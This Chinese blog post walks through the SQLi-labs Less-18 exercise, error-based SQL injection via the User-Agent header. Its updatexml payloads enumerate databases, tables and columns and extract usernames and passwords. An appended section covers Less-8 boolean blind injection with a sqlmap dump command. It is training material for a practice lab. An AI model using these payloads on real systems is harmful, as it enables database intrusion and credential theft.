SQLi LABS Less-18 报错注入

本文介绍了一位网络安全专家如何利用GET请求的User-Agent字段进行错误注入,详细步骤包括注入方式判断、获取数据库名、表名、字段名,以及获取用户表数据。展示了在实际环境中利用Burp工具进行的攻击和防御策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 「作者简介」:冬奥会网络安全中国代表队,优快云 Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。

第十八关请求方式为 GET请求 , 注入点为 User-Agent , 注入方式为 报错注入

第一步,判断注入方式

 先看源码

 后台代码对 特殊字符进行了过滤 , 常规的注入方式行不通 , 只有通过代码审计来判断注入方式

 

 登录成功后 , 有一个保存用户主机信息的SQL语句 , 并且没有对参数进行过滤 , 我们可以针对这个SQL进行错误注入

真实场景中 , 我们可以先注册一个账号进行登录 , 登录成功后通过User-Agent 进行错误注入 , 从而实现脱库

使用 Burp 工具进行代理拦截 , 修改 User-Agent

User-Agent: ' and updatexml(1,'~',3) and '

updatexml() 的第2个参数如果包含特殊符号就会报错 , 利用其报错信息可获取数据库信息

 

页面返回了我们插入的报错信息 , 固 存在错误注入

第二步,获取所有数据库

 查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有数据库名

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata),50,31)
),3) and '

 concat() , 可将结果拼接指定字符 , 目的在于触发错误

group_concat() , 可将多行结果合并为一行 , 目的在于方便展示

sunstr() , 用来截取字符串 , updatexml()返回结果的字符串长度限制为32 , 需要多次截取来获取完整结果

注意: User-Agent 的参数中 不要包含空格

下一步 , 根据security数据库 获取其所有表

第三步,获取所有表

查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(table_name) 
from information_schema.tables 
where table_schema='security')
,1,31)
),3) and '

注意 : User-Agent 参数中 不要有空格

users表为用户表 , 下一步根据users表 获取其所有字段

第四步,获取所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(column_name) 
from information_schema.columns 
where table_schema='security' and table_name='users')
,1,31))
,3) and '

注意 : User-Agent 参数中不要有空格

第五步,获取账号密码

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(username,'~',password)
from security.users)
,1,31))
,3) and '

### 关于sqli-labs Less-8 布尔盲注攻击方法 布尔盲注是一种通过观察应用响应来推断数据库内容的方法。当直接返回查询结果不可行时,这种技术尤为有用。 对于Sqli-labs中的Less-8实验场景,其特点在于仅显示一条记录,并且不会因为错误的SQL语句而改变页面布局或报错提示。因此,利用布尔条件判断可以逐步获取隐藏的信息[^1]。 #### 攻击流程分析 为了验证是否存在布尔注入漏洞,可以通过修改URL参数`id`后的值来进行测试: ```plaintext http://192.168.1.218/sqli-labs-master/Less-8/?id=1' AND 1=1 -- ``` 如果上述链接能够正常加载并显示出数据,则说明存在潜在的安全隐患;反之则表示该处可能进行了防护措施。接着尝试不同的逻辑表达式组合,比如: ```plaintext http://192.168.1.218/sqli-labs-master/Less-8/?id=1' AND 1=0 -- ``` 此时应该看不到任何输出或者得到空白页,这表明服务器端确实执行了我们的输入作为SQL的一部分[^2]。 #### 自动化工具辅助检测 考虑到手动逐位猜测效率低下,在实际操作过程中通常会借助自动化脚本完成整个过程。例如使用sqlmap这款开源渗透测试软件,它支持多种类型的SQL注入方式,包括但不限于时间延迟、联合查询以及当前讨论的布尔型注入等。 命令如下所示: ```bash sqlmap -u "192.168.1.218/sqli-labs-master/Less-8/?id=1" --technique B --dbms=mysql -D security -T users -C username,password --dump ``` 此指令指定了目标网址、采用的技术手段(B代表布尔)、指定的目标数据库管理系统类型为MySQL,并进一步明确了要访问的具体表名和字段名称,最后加上`--dump`选项用于导出所选列的数据。 #### 手工构建payload实例 除了依赖现成工具外,掌握手工编写有效载荷的能力同样重要。下面给出几个简单的例子供学习参考: - 判断版本号长度是否大于等于某个数值: ```sql id=1' AND LENGTH(@@version)>=5 # ``` - 获取特定位置上的字符: ```sql id=1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>97# ``` 这些技巧可以帮助理解如何绕过某些防御机制实现信息泄露的目的。不过需要注意的是,所有活动都应在授权范围内进行,非法入侵他人信息系统属于违法行为。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

士别三日wyx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值